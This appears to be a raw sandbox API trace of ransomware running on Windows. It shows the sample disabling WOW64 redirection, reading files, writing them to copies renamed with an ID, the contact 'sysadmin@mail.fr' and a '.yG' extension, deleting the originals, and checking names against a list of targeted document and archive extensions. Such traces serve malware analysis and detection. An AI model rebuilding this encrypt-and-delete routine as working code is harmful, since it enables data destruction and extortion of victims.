	[0039.966] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x7101c8
	[0039.966] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x7201d0
	[0039.966] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa200
	[0039.966] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6ee960
	[0039.966] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa1a0
	[0039.967] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x3a0d020
	[0039.969] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.969] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa008, Size=0x20) returned 0x68fa80
	[0039.969] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.969] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.969] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.969] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.969] Wow64DisableWow64FsRedirection (in: OldValue=0x2c2ff50 | out: OldValue=0x2c2ff50*=0x0) returned 1
	[0039.969] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.969] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.969] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.969] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.970] Sleep (dwMilliseconds=0x64) 
	[0040.095] Sleep (dwMilliseconds=0x64) 
	[0040.300] lstrcmpiW (lpString1=".log", lpString2=".yG") returned -1
	[0040.300] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0040.300] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0040.816] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=6004) returned 1
	[0040.816] CloseHandle (hObject=0x2b8) returned 1
	[0040.816] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0040.816] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0040.816] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0040.816] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.816] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.816] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0040.816] GetLastError () returned 0x0
	[0040.816] ReadFile (in: hFile=0x2b8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x1774, lpOverlapped=0x0) returned 1
	[0040.856] WriteFile (in: hFile=0x2cc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1780, lpOverlapped=0x0) returned 1
	[0040.857] ReadFile (in: hFile=0x2b8, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0040.857] WriteFile (in: hFile=0x2cc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x114, lpOverlapped=0x0) returned 1
	[0040.857] SetEndOfFile (hFile=0x2cc) returned 1
	[0040.857] CloseHandle (hObject=0x2cc) returned 1
	[0040.857] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0040.858] SetEndOfFile (hFile=0x2b8) returned 1
	[0040.858] CloseHandle (hObject=0x2b8) returned 1
	[0040.858] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0040.990] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1
	[0040.990] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.990] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.990] lstrlenW (lpString=".doc") returned 4
	[0040.990] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.990] lstrlenW (lpString=".docx") returned 5
	[0040.990] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0040.991] lstrlenW (lpString=".pdf") returned 4
	[0040.991] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0040.991] lstrlenW (lpString=".xls") returned 4
	[0040.991] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0040.991] lstrlenW (lpString=".xlsx") returned 5
	[0040.991] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0040.991] lstrlenW (lpString=".ppt") returned 4
	[0040.991] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0040.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.991] lstrlenW (lpString=".zip") returned 4
	[0040.991] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0040.991] lstrlenW (lpString=".rar") returned 4
	[0040.991] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0040.991] lstrlenW (lpString=".bz2") returned 4
	[0040.991] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.991] lstrlenW (lpString=".7z") returned 3
	[0040.991] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.991] lstrlenW (lpString=".dbf") returned 4
	[0040.991] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.991] lstrlenW (lpString=".1cd") returned 4
	[0040.991] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.991] lstrlenW (lpString=".jpg") returned 4
	[0040.991] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0040.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.991] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.991] lstrlenW (lpString=".doc") returned 4
	[0040.992] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.992] lstrlenW (lpString=".docx") returned 5
	[0040.992] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0040.992] lstrlenW (lpString=".pdf") returned 4
	[0040.992] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0040.992] lstrlenW (lpString=".xls") returned 4
	[0040.992] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0040.992] lstrlenW (lpString=".xlsx") returned 5
	[0040.992] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0040.992] lstrlenW (lpString=".ppt") returned 4
	[0040.992] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0040.992] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.992] lstrlenW (lpString=".zip") returned 4
	[0040.992] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0040.992] lstrlenW (lpString=".rar") returned 4
	[0040.992] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0040.992] lstrlenW (lpString=".bz2") returned 4
	[0040.992] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0040.992] lstrlenW (lpString=".7z") returned 3
	[0040.992] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0040.992] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.992] lstrlenW (lpString=".dbf") returned 4
	[0040.992] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.992] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.992] lstrlenW (lpString=".1cd") returned 4
	[0040.992] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0040.992] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0040.992] lstrlenW (lpString=".jpg") returned 4
	[0040.992] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0040.993] Sleep (dwMilliseconds=0x64) 
	[0041.293] Sleep (dwMilliseconds=0x64) 
	[0041.617] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0041.617] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0041.617] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0041.660] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=60816) returned 1
	[0041.660] CloseHandle (hObject=0x304) returned 1
	[0041.660] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0041.660] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0041.660] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.660] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.660] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0041.663] GetLastError () returned 0x0
	[0041.663] ReadFile (in: hFile=0x304, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0041.693] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0041.694] ReadFile (in: hFile=0x304, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.694] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0041.694] SetEndOfFile (hFile=0x2f8) returned 1
	[0041.695] CloseHandle (hObject=0x2f8) returned 1
	[0041.696] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.696] SetEndOfFile (hFile=0x304) returned 1
	[0041.697] CloseHandle (hObject=0x304) returned 1
	[0041.697] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0041.698] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1
	[0041.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.698] lstrlenW (lpString=".doc") returned 4
	[0041.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.698] lstrlenW (lpString=".docx") returned 5
	[0041.698] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0041.698] lstrlenW (lpString=".pdf") returned 4
	[0041.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.698] lstrlenW (lpString=".xls") returned 4
	[0041.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString=".xlsx") returned 5
	[0041.699] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0041.699] lstrlenW (lpString=".ppt") returned 4
	[0041.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.699] lstrlenW (lpString=".zip") returned 4
	[0041.699] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.699] lstrlenW (lpString=".rar") returned 4
	[0041.699] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString=".bz2") returned 4
	[0041.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString=".7z") returned 3
	[0041.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.699] lstrlenW (lpString=".dbf") returned 4
	[0041.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.699] lstrlenW (lpString=".1cd") returned 4
	[0041.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.699] lstrlenW (lpString=".jpg") returned 4
	[0041.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.699] lstrlenW (lpString=".doc") returned 4
	[0041.700] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString=".docx") returned 5
	[0041.700] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0041.700] lstrlenW (lpString=".pdf") returned 4
	[0041.700] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString=".xls") returned 4
	[0041.700] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString=".xlsx") returned 5
	[0041.700] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0041.700] lstrlenW (lpString=".ppt") returned 4
	[0041.700] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.700] lstrlenW (lpString=".zip") returned 4
	[0041.700] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.700] lstrlenW (lpString=".rar") returned 4
	[0041.700] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString=".bz2") returned 4
	[0041.700] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString=".7z") returned 3
	[0041.700] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.700] lstrlenW (lpString=".dbf") returned 4
	[0041.700] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.700] lstrlenW (lpString=".1cd") returned 4
	[0041.700] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.700] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0041.700] lstrlenW (lpString=".jpg") returned 4
	[0041.700] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.700] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0041.700] lstrlenW (lpString="eula.rtf") returned 8
	[0041.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0042.028] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=3726) returned 1
	[0042.028] CloseHandle (hObject=0x340) returned 1
	[0042.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0042.028] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0042.028] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.028] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0042.039] GetLastError () returned 0x0
	[0042.039] ReadFile (in: hFile=0x340, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0xe8e, lpOverlapped=0x0) returned 1
	[0042.107] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0042.107] ReadFile (in: hFile=0x340, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.107] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.107] SetEndOfFile (hFile=0x2f4) returned 1
	[0042.108] CloseHandle (hObject=0x2f4) returned 1
	[0042.108] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.108] SetEndOfFile (hFile=0x340) returned 1
	[0042.109] CloseHandle (hObject=0x340) returned 1
	[0042.109] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.109] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1
	[0042.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.109] lstrlenW (lpString=".doc") returned 4
	[0042.109] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.109] lstrlenW (lpString=".docx") returned 5
	[0042.109] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.110] lstrlenW (lpString=".pdf") returned 4
	[0042.110] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString=".xls") returned 4
	[0042.110] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.110] lstrlenW (lpString=".xlsx") returned 5
	[0042.110] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.110] lstrlenW (lpString=".ppt") returned 4
	[0042.110] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.110] lstrlenW (lpString=".zip") returned 4
	[0042.110] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.110] lstrlenW (lpString=".rar") returned 4
	[0042.110] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString=".bz2") returned 4
	[0042.110] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString=".7z") returned 3
	[0042.110] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.110] lstrlenW (lpString=".dbf") returned 4
	[0042.110] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.110] lstrlenW (lpString=".1cd") returned 4
	[0042.110] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.110] lstrlenW (lpString=".jpg") returned 4
	[0042.110] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.110] lstrlenW (lpString=".doc") returned 4
	[0042.110] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString=".docx") returned 5
	[0042.110] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.110] lstrlenW (lpString=".pdf") returned 4
	[0042.110] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.110] lstrlenW (lpString=".xls") returned 4
	[0042.110] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.110] lstrlenW (lpString=".xlsx") returned 5
	[0042.111] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.111] lstrlenW (lpString=".ppt") returned 4
	[0042.111] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.111] lstrlenW (lpString=".zip") returned 4
	[0042.111] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.111] lstrlenW (lpString=".rar") returned 4
	[0042.111] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.111] lstrlenW (lpString=".bz2") returned 4
	[0042.111] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.111] lstrlenW (lpString=".7z") returned 3
	[0042.111] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.111] lstrlenW (lpString=".dbf") returned 4
	[0042.111] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0042.111] lstrlenW (lpString=".1cd") returned 4
	[0042.111] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
